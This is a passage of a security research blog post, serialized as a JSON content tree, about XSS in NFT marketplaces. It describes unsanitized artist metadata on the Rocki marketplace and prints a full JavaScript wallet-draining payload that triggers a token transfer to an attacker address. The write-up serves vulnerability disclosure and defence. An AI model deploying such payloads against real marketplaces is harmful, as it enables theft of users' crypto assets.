applications.",[12,11],{"src":33509,"height":16,"width":16},"/posts/web2-bug-repellant-instructions/web2-bug-repellant-instructions.jpg","2023-08-11",[33512,33513],"nft-marketplaces","xss",{"type":20,"children":33515,"toc":37687},[33516,33520,33525,33529,33534,33539,33544,33560,33566,33579,33601,33608,33613,33620,33625,33631,33636,33641,33646,33651,33662,33667,34623,34633,34645,34652,34657,35477,35482,35487,35492,35497,36281,36286,36366,36371,36438,36444,36449,36454,36681,36694,36699,36704,36709,36716,36721,36728,36734,36739,36744,36749,37067,37072,37078,37094,37100,37105,37110,37119,37124,37129,37138,37143,37149,37165,37178,37183,37188,37208,37215,37220,37227,37236,37241,37262,37315,37320,37371,37385,37390,37404,37518,37541,37624,37647,37652,37657,37662,37667,37672,37678,37683],{"type":23,"tag":24,"props":33517,"children":33518},{"id":31322},[33519],{"type":29,"value":31325},{"type":23,"tag":32,"props":33521,"children":33522},{},[33523],{"type":29,"value":33524},"Transitioning to a fully decentralized web is hard. Many Web 3 applications still have large, unexplored Web 2 attack surfaces.",{"type":23,"tag":59,"props":33526,"children":33527},{"id":5257},[33528],{"type":29,"value":5260},{"type":23,"tag":32,"props":33530,"children":33531},{},[33532],{"type":29,"value":33533},"In this blog post, we'll explore these lingering threats and potential mitigations. This work summarizes our internal research against various applications, from NFT marketplaces to wallets to protocol frontends.",{"type":23,"tag":32,"props":33535,"children":33536},{},[33537],{"type":29,"value":33538},"As a note, generally applications with non-trivial frontends are more susceptible to these vulnerabilities. Hence, a lot of our research focused on the interactions with NFTs, an ideal Web 2.5 candidate in many senses.",{"type":23,"tag":24,"props":33540,"children":33541},{"id":33513},[33542],{"type":29,"value":33543},"XSS",{"type":23,"tag":32,"props":33545,"children":33546},{},[33547],{"type":23,"tag":2258,"props":33548,"children":33549},{},[33550,33552,33559],{"type":29,"value":33551},"I cannot make you understand. I cannot make anyone understand what is happening inside me. I cannot ",{"type":23,"tag":181,"props":33553,"children":33556},{"href":33554,"rel":33555},"https://developer.mozilla.org/en-US/docs/Glossary/Cross-site_scripting",[185],[33557],{"type":29,"value":33558},"even explain it to myself",{"type":29,"value":312},{"type":23,"tag":59,"props":33561,"children":33563},{"id":33562},"managing-metadata",[33564],{"type":29,"value":33565},"Managing Metadata",{"type":23,"tag":32,"props":33567,"children":33568},{},[33569,33571,33578],{"type":29,"value":33570},"Effectively managing metadata is a challenge. When improperly sanitized, unsuspecting metadata becomes a dangerous sink for malicious ",{"type":23,"tag":181,"props":33572,"children":33575},{"href":33573,"rel":33574},"https://www.vice.com/en/article/xgdvaz/nft-steal-ip-address-opensea",[185],[33576],{"type":29,"value":33577},"payloads",{"type":29,"value":312},{"type":23,"tag":32,"props":33580,"children":33581},{},[33582,33584,33591,33593,33599],{"type":29,"value":33583},"We showcase this vulnerability in the ",{"type":23,"tag":181,"props":33585,"children":33588},{"href":33586,"rel":33587},"https://rocki.com/",[185],[33589],{"type":29,"value":33590},"Rocki Marketplace",{"type":29,"value":33592},". The ",{"type":23,"tag":71,"props":33594,"children":33596},{"className":33595},[],[33597],{"type":29,"value":33598},"artistDescription",{"type":29,"value":33600}," parameter was improperly sanitized, allowing arbitrary HTML input without any validation checks!",{"type":23,"tag":32,"props":33602,"children":33603},{},[33604],{"type":23,"tag":93,"props":33605,"children":33607},{"alt":7,"src":33606},"/posts/web2-bug-repellant-instructions/metadata.png",[],{"type":23,"tag":32,"props":33609,"children":33610},{},[33611],{"type":29,"value":33612},"When a user loads such a maliciously constructed NFT, they'll unwittingly execute our payload, giving us full control over their account.",{"type":23,"tag":32,"props":33614,"children":33615},{},[33616],{"type":23,"tag":93,"props":33617,"children":33619},{"alt":7,"src":33618},"/posts/web2-bug-repellant-instructions/xss.png",[],{"type":23,"tag":32,"props":33621,"children":33622},{},[33623],{"type":29,"value":33624},"Of course, this is merely a toy payload. An actual hacker could use this to spread through the marketplace, creating a wormable payload that takes over the entire website.",{"type":23,"tag":59,"props":33626,"children":33628},{"id":33627},"wheres-my-wallet",[33629],{"type":29,"value":33630},"Where's My Wallet",{"type":23,"tag":32,"props":33632,"children":33633},{},[33634],{"type":29,"value":33635},"What's the worst that can happen? How does losing your wallet funds sound?",{"type":23,"tag":32,"props":33637,"children":33638},{},[33639],{"type":29,"value":33640},"Note that triggering this exploit requires some interaction. However, in practice users likely are not carefully examining the wallet prompts, especially on familiar sites.",{"type":23,"tag":32,"props":33642,"children":33643},{},[33644],{"type":29,"value":33645},"It is important to recognize that the presence of XSS in marketplaces can trigger the approval prompt in various wallets, including the attacker's assets.",{"type":23,"tag":32,"props":33647,"children":33648},{},[33649],{"type":29,"value":33650},"In the following example, this malicious transaction was initiated by a malicious code injected into rocki.com.",{"type":23,"tag":33652,"props":33653,"children":33655},"div",{"style":33654},"display:flex; align-items:center; flex-direction:column;",[33656],{"type":23,"tag":93,"props":33657,"children":33661},{"src":33658,"alt":33659,"style":33660},"/posts/web2-bug-repellant-instructions/metamask.png","Wallet","max-height:550px;",[],{"type":23,"tag":32,"props":33663,"children":33664},{},[33665],{"type":29,"value":33666},"And here we can find the code used to achieve it :",{"type":23,"tag":220,"props":33668,"children":33672},{"className":33669,"code":33670,"language":33671,"meta":7,"style":7},"language-js shiki shiki-themes slack-dark","function request() {\n  if (typeof window.ethereum === 'undefined') {\n    console.error('Please install MetaMask to use this feature.');\n  } else {\n    ethereum.request({ method: 'eth_requestAccounts' }).then((accounts) => {\n      const fromAddress = accounts[0];\n      const attackerAddress = '0x0000000000000000000000000000000000000000';\n      const contractAddress = '0xa01000c52b234a92563ba61e5649b7c76e1ba0f3';\n\n      let tokenAbi = [\n        {\n          constant: false,\n          inputs: [\n            {\n              name: '_to',\n              type: 'address',\n            },\n            {\n              name: '_value',\n              type: 'uint256',\n            },\n          ],\n          name: 'transfer',\n          outputs: [\n            {\n              name: '',\n              type: 'bool',\n            },\n          ],\n          type: 'function',\n        },\n      ];\n\n      const web3 = new Web3(window.ethereum);\n\n      const tokenContract = new web3.eth.Contract(tokenAbi, contractAddress);\n\n      const transactionObject = {\n        from: fromAddress,\n        to: contractAddress,\n        data: tokenContract.methods\n          .transfer(attackerAddress, web3.utils.toWei('100000000', 'ether'))\n          .encodeABI(),\n      };\n\n      web3.eth.sendTransaction(transactionObject);\n    });\n  }\n}\n\nimport('https://cdn.jsdelivr.net/gh/ethereum/web3.js@1.0.0-beta.36/dist/web3.min.js');\nsetTimeout(request, 1e3);\n","js",[33673],{"type":23,"tag":71,"props":33674,"children":33675},{"__ignoreMap":7},[33676,33691,33734,33763,33779,33838,33872,33897,33922,33929,33949,33957,33973,33985,33993,34010,34027,34035,34042,34058,34074,34081,34089,34106,34118,34125,34141,34157,34164,34171,34188,34195,34203,34210,34256,34263,34327,34334,34354,34369,34384,34405,34476,34492,34499,34506,34544,34551,34558,34565,34572,34593],{"type":23,"tag":230,"props":33677,"children":33678},{"class":232,"line":233},[33679,33683,33687],{"type":23,"tag":230,"props":33680,"children":33681},{"style":256},[33682],{"type":29,"value":3381},{"type":23,"tag":230,"props":33684,"children":33685},{"style":294},[33686],{"type":29,"value":3401},{"type":23,"tag":230,"props":33688,"children":33689},{"style":274},[33690],{"type":29,"value":18061},{"type":23,"tag":230,"props":33692,"children":33693},{"class":232,"line":243},[33694,33699,33703,33708,33713,33717,33721,33725,33730],{"type":23,"tag":230,"props":33695,"children":33696},{"style":866},[33697],{"type":29,"value":33698},"  if",{"type":23,"tag":230,"props":33700,"children":33701},{"style":274},[33702],{"type":29,"value":664},{"type":23,"tag":230,"props":33704,"children":33705},{"style":256},[33706],{"type":29,"value":33707},"typeof",{"type":23,"tag":230,"props":33709,"children":33710},{"style":262},[33711],{"type":29,"value":33712}," window",{"type":23,"tag":230,"props":33714,"children":33715},{"style":274},[33716],{"type":29,"value":312},{"type":23,"tag":230,"props":33718,"children":33719},{"style":262},[33720],{"type":29,"value":2873},{"type":23,"tag":230,"props":33722,"children":33723},{"style":268},[33724],{"type":29,"value":2161},{"type":23,"tag":230,"props":33726,"children":33727},{"style":380},[33728],{"type":29,"value":33729}," 'undefined'",{"type":23,"tag":230,"props":33731,"children":33732},{"style":274},[33733],{"type":29,"value":827},{"type":23,"tag":230,"props":33735,"children":33736},{"class":232,"line":252},[33737,33742,33746,33750,33754,33759],{"type":23,"tag":230,"props":33738,"children":33739},{"style":262},[33740],{"type":29,"value":33741},"    console",{"type":23,"tag":230,"props":33743,"children":33744},{"style":274},[33745],{"type":29,"value":312},{"type":23,"tag":230,"props":33747,"children":33748},{"style":294},[33749],{"type":29,"value":17189},{"type":23,"tag":230,"props":33751,"children":33752},{"style":274},[33753],{"type":29,"value":302},{"type":23,"tag":230,"props":33755,"children":33756},{"style":380},[33757],{"type":29,"value":33758},"'Please install MetaMask to use this feature.'",{"type":23,"tag":230,"props":33760,"children":33761},{"style":274},[33762],{"type":29,"value":753},{"type":23,"tag":230,"props":33764,"children":33765},{"class":232,"line":280},[33766,33771,33775],{"type":23,"tag":230,"props":33767,"children":33768},{"style":274},[33769],{"type":29,"value":33770},"  } ",{"type":23,"tag":230,"props":33772,"children":33773},{"style":866},[33774],{"type":29,"value":5654},{"type":23,"tag":230,"props":33776,"children":33777},{"style":274},[33778],{"type":29,"value":277},{"type":23,"tag":230,"props":33780,"children":33781},{"class":232,"line":334},[33782,33786,33790,33794,33798,33802,33807,33812,33817,33822,33826,33830,33834],{"type":23,"tag":230,"props":33783,"children":33784},{"style":262},[33785],{"type":29,"value":2390},{"type":23,"tag":230,"props":33787,"children":33788},{"style":274},[33789],{"type":29,"value":312},{"type":23,"tag":230,"props":33791,"children":33792},{"style":294},[33793],{"type":29,"value":3372},{"type":23,"tag":230,"props":33795,"children":33796},{"style":274},[33797],{"type":29,"value":3519},{"type":23,"tag":230,"props":33799,"children":33800},{"style":262},[33801],{"type":29,"value":3524},{"type":23,"tag":230,"props":33803,"children":33804},{"style":380},[33805],{"type":29,"value":33806}," 'eth_requestAccounts'",{"type":23,"tag":230,"props":33808,"children":33809},{"style":274},[33810],{"type":29,"value":33811}," }).",{"type":23,"tag":230,"props":33813,"children":33814},{"style":294},[33815],{"type":29,"value":33816},"then",{"type":23,"tag":230,"props":33818,"children":33819},{"style":274},[33820],{"type":29,"value":33821},"((",{"type":23,"tag":230,"props":33823,"children":33824},{"style":262},[33825],{"type":29,"value":17002},{"type":23,"tag":230,"props":33827,"children":33828},{"style":274},[33829],{"type":29,"value":703},{"type":23,"tag":230,"props":33831,"children":33832},{"style":256},[33833],{"type":29,"value":2671},{"type":23,"tag":230,"props":33835,"children":33836},{"style":274},[33837],{"type":29,"value":277},{"type":23,"tag":230,"props":33839,"children":33840},{"class":232,"line":371},[33841,33845,33850,33854,33859,33863,33867],{"type":23,"tag":230,"props":33842,"children":33843},{"style":256},[33844],{"type":29,"value":3471},{"type":23,"tag":230,"props":33846,"children":33847},{"style":262},[33848],{"type":29,"value":33849}," fromAddress",{"type":23,"tag":230,"props":33851,"children":33852},{"style":268},[33853],{"type":29,"value":271},{"type":23,"tag":230,"props":33855,"children":33856},{"style":262},[33857],{"type":29,"value":33858}," accounts",{"type":23,"tag":230,"props":33860,"children":33861},{"style":274},[33862],{"type":29,"value":6069},{"type":23,"tag":230,"props":33864,"children":33865},{"style":5149},[33866],{"type":29,"value":6358},{"type":23,"tag":230,"props":33868,"children":33869},{"style":274},[33870],{"type":29,"value":33871},"];\n",{"type":23,"tag":230,"props":33873,"children":33874},{"class":232,"line":391},[33875,33879,33884,33888,33893],{"type":23,"tag":230,"props":33876,"children":33877},{"style":256},[33878],{"type":29,"value":3471},{"type":23,"tag":230,"props":33880,"children":33881},{"style":262},[33882],{"type":29,"value":33883}," attackerAddress",{"type":23,"tag":230,"props":33885,"children":33886},{"style":268},[33887],{"type":29,"value":271},{"type":23,"tag":230,"props":33889,"children":33890},{"style":380},[33891],{"type":29,"value":33892}," '0x0000000000000000000000000000000000000000'",{"type":23,"tag":230,"props":33894,"children":33895},{"style":274},[33896],{"type":29,"value":511},{"type":23,"tag":230,"props":33898,"children":33899},{"class":232,"line":400},[33900,33904,33909,33913,33918],{"type":23,"tag":230,"props":33901,"children":33902},{"style":256},[33903],{"type":29,"value":3471},{"type":23,"tag":230,"props":33905,"children":33906},{"style":262},[33907],{"type":29,"value":33908}," contractAddress",{"type":23,"tag":230,"props":33910,"children":33911},{"style":268},[33912],{"type":29,"value":271},{"type":23,"tag":230,"props":33914,"children":33915},{"style":380},[33916],{"type":29,"value":33917}," '0xa01000c52b234a92563ba61e5649b7c76e1ba0f3'",{"type":23,"tag":230,"props":33919,"children":33920},{"style":274},[33921],{"type":29,"value":511},{"type":23,"tag":230,"props":33923,"children":33924},{"class":232,"line":444},[33925],{"type":23,"tag":230,"props":33926,"children":33927},{"emptyLinePlaceholder":18},[33928],{"type":29,"value":459},{"type":23,"tag":230,"props":33930,"children":33931},{"class":232,"line":453},[33932,33936,33941,33945],{"type":23,"tag":230,"props":33933,"children":33934},{"style":256},[33935],{"type":29,"value":10410},{"type":23,"tag":230,"props":33937,"children":33938},{"style":262},[33939],{"type":29,"value":33940}," tokenAbi",{"type":23,"tag":230,"props":33942,"children":33943},{"style":268},[33944],{"type":29,"value":271},{"type":23,"tag":230,"props":33946,"children":33947},{"style":274},[33948],{"type":29,"value":27928},{"type":23,"tag":230,"props":33950,"children":33951},{"class":232,"line":462},[33952],{"type":23,"tag":230,"props":33953,"children":33954},{"style":274},[33955],{"type":29,"value":33956},"        {\n",{"type":23,"tag":230,"props":33958,"children":33959},{"class":232,"line":471},[33960,33965,33969],{"type":23,"tag":230,"props":33961,"children":33962},{"style":262},[33963],{"type":29,"value":33964},"          constant:",{"type":23,"tag":230,"props":33966,"children":33967},{"style":256},[33968],{"type":29,"value":11391},{"type":23,"tag":230,"props":33970,"children":33971},{"style":274},[33972],{"type":29,"value":388},{"type":23,"tag":230,"props":33974,"children":33975},{"class":232,"line":500},[33976,33981],{"type":23,"tag":230,"props":33977,"children":33978},{"style":262},[33979],{"type":29,"value":33980},"          inputs:",{"type":23,"tag":230,"props":33982,"children":33983},{"style":274},[33984],{"type":29,"value":27928},{"type":23,"tag":230,"props":33986,"children":33987},{"class":232,"line":514},[33988],{"type":23,"tag":230,"props":33989,"children":33990},{"style":274},[33991],{"type":29,"value":33992},"            {\n",{"type":23,"tag":230,"props":33994,"children":33995},{"class":232,"line":897},[33996,34001,34006],{"type":23,"tag":230,"props":33997,"children":33998},{"style":262},[33999],{"type":29,"value":34000},"              name:",{"type":23,"tag":230,"props":34002,"children":34003},{"style":380},[34004],{"type":29,"value":34005}," '_to'",{"type":23,"tag":230,"props":34007,"children":34008},{"style":274},[34009],{"type":29,"value":388},{"type":23,"tag":230,"props":34011,"children":34012},{"class":232,"line":960},[34013,34018,34023],{"type":23,"tag":230,"props":34014,"children":34015},{"style":262},[34016],{"type":29,"value":34017},"              type:",{"type":23,"tag":230,"props":34019,"children":34020},{"style":380},[34021],{"type":29,"value":34022}," 'address'",{"type":23,"tag":230,"props":34024,"children":34025},{"style":274},[34026],{"type":29,"value":388},{"type":23,"tag":230,"props":34028,"children":34029},{"class":232,"line":969},[34030],{"type":23,"tag":230,"props":34031,"children":34032},{"style":274},[34033],{"type":29,"value":34034},"            },\n",{"type":23,"tag":230,"props":34036,"children":34037},{"class":232,"line":4526},[34038],{"type":23,"tag":230,"props":34039,"children":34040},{"style":274},[34041],{"type":29,"value":33992},{"type":23,"tag":230,"props":34043,"children":34044},{"class":232,"line":4534},[34045,34049,34054],{"type":23,"tag":230,"props":34046,"children":34047},{"style":262},[34048],{"type":29,"value":34000},{"type":23,"tag":230,"props":34050,"children":34051},{"style":380},[34052],{"type":29,"value":34053}," '_value'",{"type":23,"tag":230,"props":34055,"children":34056},{"style":274},[34057],{"type":29,"value":388},{"type":23,"tag":230,"props":34059,"children":34060},{"class":232,"line":4542},[34061,34065,34070],{"type":23,"tag":230,"props":34062,"children":34063},{"style":262},[34064],{"type":29,"value":34017},{"type":23,"tag":230,"props":34066,"children":34067},{"style":380},[34068],{"type":29,"value":34069}," 'uint256'",{"type":23,"tag":230,"props":34071,"children":34072},{"style":274},[34073],{"type":29,"value":388},{"type":23,"tag":230,"props":34075,"children":34076},{"class":232,"line":4559},[34077],{"type":23,"tag":230,"props":34078,"children":34079},{"style":274},[34080],{"type":29,"value":34034},{"type":23,"tag":230,"props":34082,"children":34083},{"class":232,"line":4587},[34084],{"type":23,"tag":230,"props":34085,"children":34086},{"style":274},[34087],{"type":29,"value":34088},"          ],\n",{"type":23,"tag":230,"props":34090,"children":34091},{"class":232,"line":4595},[34092,34097,34102],{"type":23,"tag":230,"props":34093,"children":34094},{"style":262},[34095],{"type":29,"value":34096},"          name:",{"type":23,"tag":230,"props":34098,"children":34099},{"style":380},[34100],{"type":29,"value":34101}," 'transfer'",{"type":23,"tag":230,"props":34103,"children":34104},{"style":274},[34105],{"type":29,"value":388},{"type":23,"tag":230,"props":34107,"children":34108},{"class":232,"line":4619},[34109,34114],{"type":23,"tag":230,"props":34110,"children":34111},{"style":262},[34112],{"type":29,"value":34113},"          outputs:",{"type":23,"tag":230,"props":34115,"children":34116},{"style":274},[34117],{"type":29,"value":27928},{"type":23,"tag":230,"props":34119,"children":34120},{"class":232,"line":4627},[34121],{"type":23,"tag":230,"props":34122,"children":34123},{"style":274},[34124],{"type":29,"value":33992},{"type":23,"tag":230,"props":34126,"children":34127},{"class":232,"line":4659},[34128,34132,34137],{"type":23,"tag":230,"props":34129,"children":34130},{"style":262},[34131],{"type":29,"value":34000},{"type":23,"tag":230,"props":34133,"children":34134},{"style":380},[34135],{"type":29,"value":34136}," ''",{"type":23,"tag":230,"props":34138,"children":34139},{"style":274},[34140],{"type":29,"value":388},{"type":23,"tag":230,"props":34142,"children":34143},{"class":232,"line":4671},[34144,34148,34153],{"type":23,"tag":230,"props":34145,"children":34146},{"style":262},[34147],{"type":29,"value":34017},{"type":23,"tag":230,"props":34149,"children":34150},{"style":380},[34151],{"type":29,"value":34152}," 'bool'",{"type":23,"tag":230,"props":34154,"children":34155},{"style":274},[34156],{"type":29,"value":388},{"type":23,"tag":230,"props":34158,"children":34159},{"class":232,"line":4688},[34160],{"type":23,"tag":230,"props":34161,"children":34162},{"style":274},[34163],{"type":29,"value":34034},{"type":23,"tag":230,"props":34165,"children":34166},{"class":232,"line":4701},[34167],{"type":23,"tag":230,"props":34168,"children":34169},{"style":274},[34170],{"type":29,"value":34088},{"type":23,"tag":230,"props":34172,"children":34173},{"class":232,"line":4724},[34174,34179,34184],{"type":23,"tag":230,"props":34175,"children":34176},{"style":262},[34177],{"type":29,"value":34178},"          type:",{"type":23,"tag":230,"props":34180,"children":34181},{"style":380},[34182],{"type":29,"value":34183}," 'function'",{"type":23,"tag":230,"props":34185,"children":34186},{"style":274},[34187],{"type":29,"value":388},{"type":23,"tag":230,"props":34189,"children":34190},{"class":232,"line":4741},[34191],{"type":23,"tag":230,"props":34192,"children":34193},{"style":274},[34194],{"type":29,"value":27680},{"type":23,"tag":230,"props":34196,"children":34197},{"class":232,"line":4759},[34198],{"type":23,"tag":230,"props":34199,"children":34200},{"style":274},[34201],{"type":29,"value":34202},"      ];\n",{"type":23,"tag":230,"props":34204,"children":34205},{"class":232,"line":4768},[34206],{"type":23,"tag":230,"props":34207,"children":34208},{"emptyLinePlaceholder":18},[34209],{"type":29,"value":459},{"type":23,"tag":230,"props":34211,"children":34212},{"class":232,"line":4776},[34213,34217,34222,34226,34230,34235,34239,34244,34248,34252],{"type":23,"tag":230,"props":34214,"children":34215},{"style":256},[34216],{"type":29,"value":3471},{"type":23,"tag":230,"props":34218,"children":34219},{"style":262},[34220],{"type":29,"value":34221}," web3",{"type":23,"tag":230,"props":34223,"children":34224},{"style":268},[34225],{"type":29,"value":271},{"type":23,"tag":230,"props":34227,"children":34228},{"style":256},[34229],{"type":29,"value":291},{"type":23,"tag":230,"props":34231,"children":34232},{"style":294},[34233],{"type":29,"value":34234}," Web3",{"type":23,"tag":230,"props":34236,"children":34237},{"style":274},[34238],{"type":29,"value":302},{"type":23,"tag":230,"props":34240,"children":34241},{"style":262},[34242],{"type":29,"value":34243},"window",{"type":23,"tag":230,"props":34245,"children":34246},{"style":274},[34247],{"type":29,"value":312},{"type":23,"tag":230,"props":34249,"children":34250},{"style":262},[34251],{"type":29,"value":2873},{"type":23,"tag":230,"props":34253,"children":34254},{"style":274},[34255],{"type":29,"value":753},{"type":23,"tag":230,"props":34257,"children":34258},{"class":232,"line":4784},[34259],{"type":23,"tag":230,"props":34260,"children":34261},{"emptyLinePlaceholder":18},[34262],{"type":29,"value":459},{"type":23,"tag":230,"props":34264,"children":34265},{"class":232,"line":4792},[34266,34270,34275,34279,34283,34287,34291,34296,34300,34305,34309,34314,34318,34323],{"type":23,"tag":230,"props":34267,"children":34268},{"style":256},[34269],{"type":29,"value":3471},{"type":23,"tag":230,"props":34271,"children":34272},{"style":262},[34273],{"type":29,"value":34274}," tokenContract",{"type":23,"tag":230,"props":34276,"children":34277},{"style":268},[34278],{"type":29,"value":271},{"type":23,"tag":230,"props":34280,"children":34281},{"style":256},[34282],{"type":29,"value":291},{"type":23,"tag":230,"props":34284,"children":34285},{"style":262},[34286],{"type":29,"value":34221},{"type":23,"tag":230,"props":34288,"children":34289},{"style":274},[34290],{"type":29,"value":312},{"type":23,"tag":230,"props":34292,"children":34293},{"style":262},[34294],{"type":29,"value":34295},"eth",{"type":23,"tag":230,"props":34297,"children":34298},{"style":274},[34299],{"type":29,"value":312},{"type":23,"tag":230,"props":34301,"children":34302},{"style":294},[34303],{"type":29,"value":34304},"Contract",{"type":23,"tag":230,"props":34306,"children":34307},{"style":274},[34308],{"type":29,"value":302},{"type":23,"tag":230,"props":34310,"children":34311},{"style":262},[34312],{"type":29,"value":34313},"tokenAbi",{"type":23,"tag":230,"props":34315,"children":34316},{"style":274},[34317],{"type":29,"value":684},{"type":23,"tag":230,"props":34319,"children":34320},{"style":262},[34321],{"type":29,"value":34322},"contractAddress",{"type":23,"tag":230,"props":34324,"children":34325},{"style":274},[34326],{"type":29,"value":753},{"type":23,"tag":230,"props":34328,"children":34329},{"class":232,"line":4824},[34330],{"type":23,"tag":230,"props":34331,"children":34332},{"emptyLinePlaceholder":18},[34333],{"type":29,"value":459},{"type":23,"tag":230,"props":34335,"children":34336},{"class":232,"line":4832},[34337,34341,34346,34350],{"type":23,"tag":230,"props":34338,"children":34339},{"style":256},[34340],{"type":29,"value":3471},{"type":23,"tag":230,"props":34342,"children":34343},{"style":262},[34344],{"type":29,"value":34345}," transactionObject",{"type":23,"tag":230,"props":34347,"children":34348},{"style":268},[34349],{"type":29,"value":271},{"type":23,"tag":230,"props":34351,"children":34352},{"style":274},[34353],{"type":29,"value":277},{"type":23,"tag":230,"props":34355,"children":34356},{"class":232,"line":4840},[34357,34361,34365],{"type":23,"tag":230,"props":34358,"children":34359},{"style":262},[34360],{"type":29,"value":4707},{"type":23,"tag":230,"props":34362,"children":34363},{"style":262},[34364],{"type":29,"value":33849},{"type":23,"tag":230,"props":34366,"children":34367},{"style":274},[34368],{"type":29,"value":388},{"type":23,"tag":230,"props":34370,"children":34371},{"class":232,"line":4901},[34372,34376,34380],{"type":23,"tag":230,"props":34373,"children":34374},{"style":262},[34375],{"type":29,"value":4730},{"type":23,"tag":230,"props":34377,"children":34378},{"style":262},[34379],{"type":29,"value":33908},{"type":23,"tag":230,"props":34381,"children":34382},{"style":274},[34383],{"type":29,"value":388},{"type":23,"tag":230,"props":34385,"children":34386},{"class":232,"line":4909},[34387,34392,34396,34400],{"type":23,"tag":230,"props":34388,"children":34389},{"style":262},[34390],{"type":29,"value":34391},"        data:",{"type":23,"tag":230,"props":34393,"children":34394},{"style":262},[34395],{"type":29,"value":34274},{"type":23,"tag":230,"props":34397,"children":34398},{"style":274},[34399],{"type":29,"value":312},{"type":23,"tag":230,"props":34401,"children":34402},{"style":262},[34403],{"type":29,"value":34404},"methods\n",{"type":23,"tag":230,"props":34406,"children":34407},{"class":232,"line":4938},[34408,34413,34418,34422,34427,34431,34436,34440,34445,34449,34454,34458,34463,34467,34472],{"type":23,"tag":230,"props":34409,"children":34410},{"style":274},[34411],{"type":29,"value":34412},"          .",{"type":23,"tag":230,"props":34414,"children":34415},{"style":294},[34416],{"type":29,"value":34417},"transfer",{"type":23,"tag":230,"props":34419,"children":34420},{"style":274},[34421],{"type":29,"value":302},{"type":23,"tag":230,"props":34423,"children":34424},{"style":262},[34425],{"type":29,"value":34426},"attackerAddress",{"type":23,"tag":230,"props":34428,"children":34429},{"style":274},[34430],{"type":29,"value":684},{"type":23,"tag":230,"props":34432,"children":34433},{"style":262},[34434],{"type":29,"value":34435},"web3",{"type":23,"tag":230,"props":34437,"children":34438},{"style":274},[34439],{"type":29,"value":312},{"type":23,"tag":230,"props":34441,"children":34442},{"style":262},[34443],{"type":29,"value":34444},"utils",{"type":23,"tag":230,"props":34446,"children":34447},{"style":274},[34448],{"type":29,"value":312},{"type":23,"tag":230,"props":34450,"children":34451},{"style":294},[34452],{"type":29,"value":34453},"toWei",{"type":23,"tag":230,"props":34455,"children":34456},{"style":274},[34457],{"type":29,"value":302},{"type":23,"tag":230,"props":34459,"children":34460},{"style":380},[34461],{"type":29,"value":34462},"'100000000'",{"type":23,"tag":230,"props":34464,"children":34465},{"style":274},[34466],{"type":29,"value":684},{"type":23,"tag":230,"props":34468,"children":34469},{"style":380},[34470],{"type":29,"value":34471},"'ether'",{"type":23,"tag":230,"props":34473,"children":34474},{"style":274},[34475],{"type":29,"value":22026},{"type":23,"tag":230,"props":34477,"children":34478},{"class":232,"line":4957},[34479,34483,34488],{"type":23,"tag":230,"props":34480,"children":34481},{"style":274},[34482],{"type":29,"value":34412},{"type":23,"tag":230,"props":34484,"children":34485},{"style":294},[34486],{"type":29,"value":34487},"encodeABI",{"type":23,"tag":230,"props":34489,"children":34490},{"style":274},[34491],{"type":29,"value":5827},{"type":23,"tag":230,"props":34493,"children":34494},{"class":232,"line":4973},[34495],{"type":23,"tag":230,"props":34496,"children":34497},{"style":274},[34498],{"type":29,"value":11254},{"type":23,"tag":230,"props":34500,"children":34501},{"class":232,"line":4990},[34502],{"type":23,"tag":230,"props":34503,"children":34504},{"emptyLinePlaceholder":18},[34505],{"type":29,"value":459},{"type":23,"tag":230,"props":34507,"children":34508},{"class":232,"line":5006},[34509,34514,34518,34522,34526,34531,34535,34540],{"type":23,"tag":230,"props":34510,"children":34511},{"style":262},[34512],{"type":29,"value":34513},"      web3",{"type":23,"tag":230,"props":34515,"children":34516},{"style":274},[34517],{"type":29,"value":312},{"type":23,"tag":230,"props":34519,"children":34520},{"style":262},[34521],{"type":29,"value":34295},{"type":23,"tag":230,"props":34523,"children":34524},{"style":274},[34525],{"type":29,"value":312},{"type":23,"tag":230,"props":34527,"children":34528},{"style":294},[34529],{"type":29,"value":34530},"sendTransaction",{"type":23,"tag":230,"props":34532,"children":34533},{"style":274},[34534],{"type":29,"value":302},{"type":23,"tag":230,"props":34536,"children":34537},{"style":262},[34538],{"type":29,"value":34539},"transactionObject",{"type":23,"tag":230,"props":34541,"children":34542},{"style":274},[34543],{"type":29,"value":753},{"type":23,"tag":230,"props":34545,"children":34546},{"class":232,"line":5019},[34547],{"type":23,"tag":230,"props":34548,"children":34549},{"style":274},[34550],{"type":29,"value":1291},{"type":23,"tag":230,"props":34552,"children":34553},{"class":232,"line":5050},[34554],{"type":23,"tag":230,"props":34555,"children":34556},{"style":274},[34557],{"type":29,"value":1331},{"type":23,"tag":230,"props":34559,"children":34560},{"class":232,"line":5058},[34561],{"type":23,"tag":230,"props":34562,"children":34563},{"style":274},[34564],{"type":29,"value":975},{"type":23,"tag":230,"props":34566,"children":34567},{"class":232,"line":26228},[34568],{"type":23,"tag":230,"props":34569,"children":34570},{"emptyLinePlaceholder":18},[34571],{"type":29,"value":459},{"type":23,"tag":230,"props":34573,"children":34575},{"class":232,"line":34574},51,[34576,34580,34584,34589],{"type":23,"tag":230,"props":34577,"children":34578},{"style":256},[34579],{"type":29,"value":4258},{"type":23,"tag":230,"props":34581,"children":34582},{"style":274},[34583],{"type":29,"value":302},{"type":23,"tag":230,"props":34585,"children":34586},{"style":380},[34587],{"type":29,"value":34588},"'https://cdn.jsdelivr.net/gh/ethereum/web3.js@1.0.0-beta.36/dist/web3.min.js'",{"type":23,"tag":230,"props":34590,"children":34591},{"style":274},[34592],{"type":29,"value":753},{"type":23,"tag":230,"props":34594,"children":34596},{"class":232,"line":34595},52,[34597,34602,34606,34610,34614,34619],{"type":23,"tag":230,"props":34598,"children":34599},{"style":294},[34600],{"type":29,"value":34601},"setTimeout",{"type":23,"tag":230,"props":34603,"children":34604},{"style":274},[34605],{"type":29,"value":302},{"type":23,"tag":230,"props":34607,"children":34608},{"style":262},[34609],{"type":29,"value":3372},{"type":23,"tag":230,"props":34611,"children":34612},{"style":274},[34613],{"type":29,"value":684},{"type":23,"tag":230,"props":34615,"children":34616},{"style":5149},[34617],{"type":29,"value":34618},"1e3",{"type":23,"tag":230,"props":34620,"children":34621},{"style":274},[34622],{"type":29,"value":753},{"type":23,"tag":32,"props":34624,"children":34625},{},[34626,34631],{"type":23,"tag":2302,"props":34627,"children":34628},{},[34629],{"type":29,"value":34630},"CSRF & XSS",{"type":29,"value":34632},"\nWe continued our investigation of potential XSS vulnerabilities by exploring various sinks, such as common field errors and the handling of file uploads in different marketplaces.",{"type":23,"tag":32,"props":34634,"children":34635},{},[34636,34638,34643],{"type":29,"value":34637},"Our attention was drawn to ",{"type":23,"tag":181,"props":34639,"children":34641},{"href":33586,"rel":34640},[185],[34642],{"type":29,"value":33590},{"type":29,"value":34644},", an online platform that allows users to 